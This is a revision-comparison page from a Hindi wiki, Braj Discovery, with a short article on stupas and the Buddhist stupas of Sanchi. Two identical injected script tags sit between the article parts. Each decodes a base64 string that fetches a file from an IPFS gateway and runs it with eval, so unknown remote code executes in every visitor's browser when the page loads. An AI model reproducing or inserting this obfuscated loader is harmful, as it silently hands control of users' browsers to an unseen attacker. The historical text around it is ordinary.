"स्तूप" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति ४: पंक्ति ४:
 
==स्तूप / Stup==
 
==स्तूप / Stup==
 
स्तूप एक गुम्दाकार भवन होता था, जो बुध्द से संबंधित सामग्री या स्मारक के रूप में स्थापित किया जाता था । सम्राट [[अशोक]] ने भी स्तंम्भ बनवाये थे । [[साँची]] का पता सन् 1818 ई. में जनरल टायलर ने लगाया था । विश्वप्रसिद्ध [[बौद्ध]] स्तूपों के लिए जाना जाने वाला साँची, विदिशा से 4 मील की दूरी पर 300 फीट ऊँची पहाड़ी पर है । प्रज्ञातिष्य महानायक थैर्यन के अनुसार यहाँ के बड़े स्तूप में स्वयं भगवान [[बुद्ध]] के तथा छोटे स्तूपों में भगवान- बुद्ध के प्रिय शिष्य सारिपुत ( सारिपुत्र ) तथा महामौद्गलायन समेत कई अन्य बौद्ध भिक्षुओं के धातु रखे हैं । राजा तथा श्रद्धालु-जनता के सहयोग से यह निर्माण-कार्य हुआ ।
 
स्तूप एक गुम्दाकार भवन होता था, जो बुध्द से संबंधित सामग्री या स्मारक के रूप में स्थापित किया जाता था । सम्राट [[अशोक]] ने भी स्तंम्भ बनवाये थे । [[साँची]] का पता सन् 1818 ई. में जनरल टायलर ने लगाया था । विश्वप्रसिद्ध [[बौद्ध]] स्तूपों के लिए जाना जाने वाला साँची, विदिशा से 4 मील की दूरी पर 300 फीट ऊँची पहाड़ी पर है । प्रज्ञातिष्य महानायक थैर्यन के अनुसार यहाँ के बड़े स्तूप में स्वयं भगवान [[बुद्ध]] के तथा छोटे स्तूपों में भगवान- बुद्ध के प्रिय शिष्य सारिपुत ( सारिपुत्र ) तथा महामौद्गलायन समेत कई अन्य बौद्ध भिक्षुओं के धातु रखे हैं । राजा तथा श्रद्धालु-जनता के सहयोग से यह निर्माण-कार्य हुआ ।
 +
__INDEX__

०६:१७, १३ नवम्बर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

स्तूप / Stup

स्तूप एक गुम्दाकार भवन होता था, जो बुध्द से संबंधित सामग्री या स्मारक के रूप में स्थापित किया जाता था । सम्राट अशोक ने भी स्तंम्भ बनवाये थे । साँची का पता सन् 1818 ई. में जनरल टायलर ने लगाया था । विश्वप्रसिद्ध बौद्ध स्तूपों के लिए जाना जाने वाला साँची, विदिशा से 4 मील की दूरी पर 300 फीट ऊँची पहाड़ी पर है । प्रज्ञातिष्य महानायक थैर्यन के अनुसार यहाँ के बड़े स्तूप में स्वयं भगवान बुद्ध के तथा छोटे स्तूपों में भगवान- बुद्ध के प्रिय शिष्य सारिपुत ( सारिपुत्र ) तथा महामौद्गलायन समेत कई अन्य बौद्ध भिक्षुओं के धातु रखे हैं । राजा तथा श्रद्धालु-जनता के सहयोग से यह निर्माण-कार्य हुआ ।